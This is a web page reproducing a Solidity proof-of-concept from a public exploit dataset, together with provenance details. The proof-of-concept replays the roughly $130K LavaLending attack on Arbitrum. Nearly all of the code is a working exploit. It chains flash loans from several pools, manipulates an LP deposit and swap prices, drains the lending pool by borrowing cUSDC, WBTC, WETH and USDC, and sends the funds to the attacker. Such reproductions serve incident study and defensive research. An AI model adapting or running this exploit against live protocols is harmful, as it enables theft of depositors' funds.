Public reproduction file
src/test/2024-10/LavaLending_exp.sol
Public reproduction file for dataset entry LavaLending.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1 USDC, 125795.6 cUSDC, 0,0067 WBTC, 2.25 WETH (~$130K USD)8// Attacker : https://arbiscan.io/address/0x8a0dfb61cad29168e1067f6b23553035d83fcfb29// Attack Contract : https://arbiscan.io/address/0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8#code10// Vulnerable Contract : https://arbiscan.io/address/0x6700b021a8bcfae25a2493d16d7078c928c1315111// Attack Tx : https://arbiscan.io/tx/0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c94721612// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)14// Contracts involved15address constant AlgebraPool = 0x8cc8093218bCaC8B1896A1EED4D925F6F6aB289F;16address constant AlgebraPool2 = 0xc86Eb7B85807020b4548EE05B54bfC956eEbbfCD;17address constant WETHUSDC_LP = 0x6700b021a8bCfAE25A2493D16d7078c928C13151;18address constant aavePoolV3 = 0x794a61358D6845594F94dc1DB02A252b5b4814aD;19address constant SwapFlashLoan = 0x9Dd329F5411466d9e0C488fF72519CA9fEf0cb40;20address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;21address constant LendingPool = 0x3Ff516B89ea72585af520B64285ECa5E4a0A8986;22address constant AaveOracle = 0x11A8598c4430C7663fdA224C877f231895C8CA69;23address constant aUsdceWethLP = 0x2254898d99e3BBB1D10F784e2678d59d88f70f1E;24address constant UniswapV3Pool = 0xC31E54c7a869B9FcBEcc14363CF510d1c41fa443;25address constant UniswapV3Router2 = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;27address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;28address constant weth = 0x82aF49447D8a07e3bd95BD0d56f35241523fBab1;29address constant aaveUSDC = 0x625E7708f30cA75bfd92586e17077590C60eb4cD;30address constant cUSDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;31address constant aUSDC = 0x56EA05C0C3b665F67538909343Fb3Becb4fE5714;32address constant aWBTC = 0x5E166A3A9ebCAfE9CF62cC2BD2Cf41a109dE18Af;33address constant wbtc = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;34address constant aWETH = 0x7cB47F4F634fa0f8165de2fE3528471BD127533A;35address constant aUSDCe = 0xe879A4B54396Aebb3416bc72A1Ab1D360C2CAFf6;37contract LavaLending_exp is Test {38 address attacker = makeAddr("attacker");40 function setUp() public {41 vm.createSelectFork("arbitrum", 259_645_908 - 1);43 vm.label(attacker, "attacker");44 vm.label(AlgebraPool, "AlgebraPool");45 vm.label(WETHUSDC_LP, "WETHUSDC_LP");46 vm.label(aavePoolV3, "aavePoolV3");47 vm.label(usdc, "usdc");48 vm.label(weth, "weth");49 vm.label(aaveUSDC, "aaveUSDC");50 vm.label(cUSDC, "cUSDC");51 }53 function testPoC() public {54 vm.startPrank(attacker);55 AttackerC attackerC = new AttackerC();56 vm.label(address(attackerC), "attackerC");58 attackerC.attack();60 console.log("Final balance in usdc :", IERC20(usdc).balanceOf(attacker));61 console.log("Final balance in cUSDC:", IERC20(cUSDC).balanceOf(attacker));62 console.log("Final balance in wbtc :", IERC20(wbtc).balanceOf(attacker));63 console.log("Final balance in weth :", IERC20(weth).balanceOf(attacker));64 }65}67contract AttackerC {68 address attacker;70 function attack() external {71 attacker = msg.sender;73 uint256 AlgebraPool_USDC_bal = IERC20(usdc).balanceOf(AlgebraPool); // L174 // IERC20(usdc).approve(WETHUSDC_LP, type(uint256).max); // L375 // IERC20(weth).approve(WETHUSDC_LP, type(uint256).max); // L677 IFS(AlgebraPool).flash( // L978 address(this), // recipient79 0, // amount080 AlgebraPool_USDC_bal, // amount181 hex"000000000000000000000000000000000000000000000000000002653038614a"82 );84 IERC20(usdc).transfer( // L109685 msg.sender,86 IERC20(usdc).balanceOf(address(this)) // L109487 );88 IERC20(cUSDC).transfer( // L110189 msg.sender,90 IERC20(cUSDC).balanceOf(address(this)) // L109991 );92 IERC20(wbtc).transfer( // L110493 msg.sender,94 IERC20(wbtc).balanceOf(address(this)) // L110795 );96 IERC20(weth).transfer( // L111197 msg.sender,98 IERC20(weth).balanceOf(address(this)) // L111399 );100 }102 // 1 flashloan with AlgebraPool103 function algebraFlashCallback(uint256, uint256 fee1, bytes calldata data) external {104 // L16105 uint256 usdc_bal = IERC20(usdc).balanceOf(aaveUSDC); // L17107 address[] memory assets = new address[](3);108 assets[0] = weth;109 assets[1] = cUSDC;110 assets[2] = usdc;111 uint256[] memory amounts = new uint256[](3);112 amounts[0] = 1_500_000_000_000_000_000_000;113 amounts[1] = 8_000_000_000_000;114 amounts[2] = usdc_bal - 2_000_000_000;116 IFS(aavePoolV3).flashLoan( // L19117 address(this), // receiverAddress118 assets, // assets119 amounts, // amounts120 new uint256[](3), // interestRateModes121 address(this), // onBehalfOf122 "", // params123 0 // referralCode124 );126 IERC20(usdc).transfer(AlgebraPool, 2_633_887_316_134); // L1083127 }129 // 2 flashloan with aavePoolV3130 function executeOperation(131 address[] calldata assets,132 uint256[] calldata amounts,133 uint256[] calldata premiums,134 address initiator,135 bytes calldata params136 ) external returns (bool) {137 // L51138 uint256 usdc_bal = IERC20(usdc).balanceOf(SwapFlashLoan); // L52140 IFS(SwapFlashLoan).flashLoan( // L54141 address(this), // receiver142 usdc, // token143 10_000_000, // amount144 "" // params145 );147 IERC20(usdc).approve(aavePoolV3, type(uint256).max); // L1024148 IERC20(weth).approve(aavePoolV3, type(uint256).max); // L1027149 IERC20(cUSDC).approve(aavePoolV3, type(uint256).max); // L1030151 return true;152 }154 // 3 flashloan with SwapFlashLoan155 function executeOperation(156 address pool,157 address token,158 uint256 amount,159 uint256 fee,160 bytes calldata params161 ) external {162 // L61163 uint256 usdc_bal = IERC20(usdc).balanceOf(balancerVault); // L62165 address[] memory tokens = new address[](1);166 tokens[0] = usdc;167 uint256[] memory amounts = new uint256[](1);168 amounts[0] = usdc_bal;170 IFS(balancerVault).flashLoan( // L64171 address(this), tokens, amounts, "");173 IERC20(usdc).transfer(SwapFlashLoan, amount + fee); // L1018174 }176 // 4 flashloan with balancerVault177 function receiveFlashLoan(178 address[] memory tokens,179 uint256[] memory amounts,180 uint256[] memory feeAmounts,181 bytes memory userData182 ) external {183 // L71184 uint256 usdc_bal = IERC20(usdc).balanceOf(address(this)); // L72186 IERC20(usdc).approve(WETHUSDC_LP, type(uint256).max); // L74187 IERC20(weth).approve(WETHUSDC_LP, type(uint256).max); // L77189 uint256 usdc_bal2 = IERC20(usdc).balanceOf(address(this)); // L80190 uint256 weth_bal = IERC20(weth).balanceOf(address(this)); // L82192 IFS(WETHUSDC_LP).deposit( // L84193 1_403_852_271_412_498_423_040, // startKey194 3_588_180_725_760, // assetType195 0, // vaultId196 0 // quantizedAmount197 );199 IERC20(WETHUSDC_LP).approve(LendingPool, type(uint256).max); // L167200 uint256 WETHUSDC_LPBal = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L171202 IFS(LendingPool).deposit( // L174203 WETHUSDC_LP, // asset204 WETHUSDC_LPBal, // amount205 address(this), // onBehalfOf206 0 // referralCode207 );209 IFS(LendingPool).getUserAccountData(address(this)); // L210211 IFS(AaveOracle).getAssetPrice(usdc); // L242213 AttackerC2 attackerC2 = new AttackerC2(); // L248215 IERC20(cUSDC).transfer(address(attackerC2), 6_492_300_768_118); // L249217 attackerC2.attack(); // L252219 uint256 WETHUSDC_LP_bal = IERC20(WETHUSDC_LP).balanceOf(aUsdceWethLP); // L370221 IFS(LendingPool).withdraw( // L373222 WETHUSDC_LP, WETHUSDC_LP_bal, address(this));224 uint256 usdc_bal3 = IERC20(usdc).balanceOf(address(this)); // L408225 uint256 weth_bal2 = IERC20(weth).balanceOf(address(this)); // L410227 IFS(WETHUSDC_LP).compound(); // L412229 IFS(WETHUSDC_LP).withdraw(WETHUSDC_LPBal); // L428231 IFS(WETHUSDC_LP).deposit( // L451232 2_246_163_634_259_997_476, // startKey233 5_741_089_161, // assetType234 0, // vaultId235 0 // quantizedAmount236 );238 IERC20(usdc).approve(UniswapV3Pool, type(uint256).max); // L487239 IERC20(weth).approve(UniswapV3Pool, type(uint256).max); // L490241 uint256 weth_bal3 = IERC20(weth).balanceOf(address(this)); // L493243 IFS(UniswapV3Pool).swap( // L495244 address(this), true, int256(weth_bal3), 3_485_594_667_521_387_551_771_586, "");246 IFS(UniswapV3Pool).flash( // L508247 address(this), // recipient248 1_000_000_000_000_000_000, // amount0249 0, // amount1250 ""251 );253 uint256 WETHUSDC_LP_bal2 = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L525255 IFS(WETHUSDC_LP).withdraw(WETHUSDC_LP_bal2); // L528257 IFS(UniswapV3Pool).swap( // L589258 address(this),259 false,260 int256(881_716_015_644),261 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_000,262 ""263 );265 uint256 balcUSDC = IERC20(cUSDC).balanceOf(aUSDC); // L602266 IFS(LendingPool).borrow( // L604267 cUSDC, balcUSDC, 2, 0, address(this));269 uint256 balwbtc = IERC20(wbtc).balanceOf(aWBTC); // L671270 IFS(LendingPool).borrow( // L674271 wbtc, balwbtc, 2, 0, address(this));273 uint256 balweth = IERC20(weth).balanceOf(aWETH); // L764274 IFS(LendingPool).borrow( // L766275 weth, balweth, 2, 0, address(this));277 uint256 balusdc = IERC20(usdc).balanceOf(aUSDCe); // L861278 IFS(LendingPool).borrow( // L863279 usdc, balusdc, 2, 0, address(this));281 uint256 balwethThis = IERC20(weth).balanceOf(address(this)); // L970283 IERC20(cUSDC).approve(UniswapV3Router2, type(uint256).max); // L972285 IFS.ExactOutputSingleParams memory params = IFS.ExactOutputSingleParams(286 cUSDC,287 weth,288 500,289 address(this),290 1_755_639_896_171_187_086,291 type(uint256).max,292 1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_000293 );295 IFS(UniswapV3Router2).exactOutputSingle(params); // L975297 uint256 balusdc2 = IERC20(usdc).balanceOf(address(this)); // L989299 IFS(AlgebraPool2).swap( // L991300 address(this), // recipient301 true, // zeroToOne302 int256(-4_402_600_766), // amountRequired303 4_295_129_000, // limitSqrtPrice304 "" // data305 );307 IERC20(usdc).transfer(balancerVault, 1_255_587_859_253); // L1012308 }310 uint256 n;312 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {313 if (n == 0) {314 IERC20(weth).transfer(UniswapV3Pool, uint256(amount0Delta)); // L502315 }316 if (n == 1) {317 IERC20(usdc).transfer(UniswapV3Pool, uint256(amount1Delta)); // L596318 }320 n++;321 }323 function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {324 // L516325 IERC20(weth).transfer(UniswapV3Pool, 1_300_000_000_000_000_000); // L517326 }328 function algebraSwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {329 // L1001330 IERC20(cUSDC).transfer(AlgebraPool2, uint256(amount0Delta)); // L1002331 }332}334contract AttackerC2 {335 function attack() external {336 IERC20(cUSDC).approve(LendingPool, type(uint256).max); // L253338 uint256 usdc_bal = IERC20(cUSDC).balanceOf(address(this)); // L256340 IFS(LendingPool).deposit( // L258341 cUSDC, // asset342 usdc_bal, // amount343 address(this), // onBehalfOf344 0 // referralCode345 );347 IFS(LendingPool).borrow( // L296348 WETHUSDC_LP, // asset349 430_623_991_193_131_340, // amount350 2, // interestRateMode351 0, // referralCode352 address(this) // onBehalfOf353 );355 uint256 WETHUSDC_LP_bal = IERC20(WETHUSDC_LP).balanceOf(address(this)); // L363357 IERC20(WETHUSDC_LP).transfer(msg.sender, WETHUSDC_LP_bal); // L366358 }359}361interface IFS is IERC20 {362 // AlgebraPool363 function flash(address recipient, uint256 amount0, uint256 amount1, bytes calldata data) external;365 // aavePoolV3366 function flashLoan(367 address receiverAddress,368 address[] calldata assets,369 uint256[] calldata amounts,370 uint256[] calldata interestRateModes,371 address onBehalfOf,372 bytes calldata params,373 uint16 referralCode374 ) external;376 // SwapFlashLoan377 function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;379 // balancerVault380 function flashLoan(381 address recipient,382 address[] memory tokens,383 uint256[] memory amounts,384 bytes memory userData385 ) external;387 // WETH-USDC LP388 function deposit(uint256 startKey, uint256 assetType, uint256 vaultId, uint256 quantizedAmount) external payable;390 function compound() external;392 function withdraw(393 uint256394 ) external;396 // LendingPool397 function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;399 function getUserAccountData(400 address user401 )402 external403 returns (404 uint256 totalCollateralETH,405 uint256 totalDebtETH,406 uint256 availableBorrowsETH,407 uint256 currentLiquidationThreshold,408 uint256 ltv,409 uint256 healthFactor410 );412 function borrow(413 address asset,414 uint256 amount,415 uint256 interestRateMode,416 uint16 referralCode,417 address onBehalfOf418 ) external;420 function withdraw(address asset, uint256 amount, address to) external returns (uint256);422 // AaveOracle423 function getAssetPrice(424 address asset425 ) external view returns (uint256);427 // UniswapV3Pool428 function swap(429 address recipient,430 bool zeroForOne,431 int256 amountSpecified,432 uint160 sqrtPriceLimitX96,433 bytes calldata data434 ) external returns (int256 amount0, int256 amount1);436 // UniswapV3Router2437 struct ExactOutputSingleParams {438 address tokenIn;439 address tokenOut;440 uint24 fee;441 address recipient;442 uint256 amountOut;443 uint256 amountInMaximum;444 uint160 sqrtPriceLimitX96;445 }447 function exactOutputSingle(448 ExactOutputSingleParams calldata params449 ) external payable returns (uint256 amountIn);450}Analysis
Dataset entry
Public Foundry test for “LavaLending” (2024-10-02). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
12 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-10/AIZPTToken_exp.solSame month in the dataset · 72 lines
- src/test/2024-10/BUBAI_exp.solSame month in the dataset · 95 lines
- src/test/2024-10/CompoundFork_exploit.solSame month in the dataset · 229 lines
- src/test/2024-10/Erc20transfer_exp.solSame month in the dataset · 40 lines
- src/test/2024-10/FireToken_exp.solSame month in the dataset · 146 lines
- src/test/2024-10/HYDT_exp.solSame month in the dataset · 73 lines
- src/test/2024-10/MorphoBlue_exp.solSame month in the dataset · 414 lines
- src/test/2024-10/P719Token_exp.solSame month in the dataset · 245 lines
- src/test/2024-10/SASHAToken_exp.solSame month in the dataset · 134 lines
- src/test/2024-10/VISTA_exp.solSame month in the dataset · 87 lines
- src/test/2024-03/LavaLending_exp.solSame protocol or name in the dataset · 347 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x8a0dfb61cad29168e1067f6b23553035d83fcfb2
- Attack Contract
0x69fa61eb4dc4e07263d401b01ed1cfceb599dab8
- Vulnerable Contract
0x6700b021a8bcfae25a2493d16d7078c928c13151
- Attack Tx
0xb5cfa4ae4d6e459ba285fec7f31caf8885e2285a0b4ff62f66b43e280c947216
File record
- Name
- LavaLending
- Path
- src/test/2024-10/LavaLending_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2b04a96751dd65117b6fcf0090b68845afee4c40
- Language
- Solidity
- Size
- 451 lines
- Date
- 2024-10-02
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-10/LavaLending_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2b04a96751dd65117b6fcf0090b68845afee4c40, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.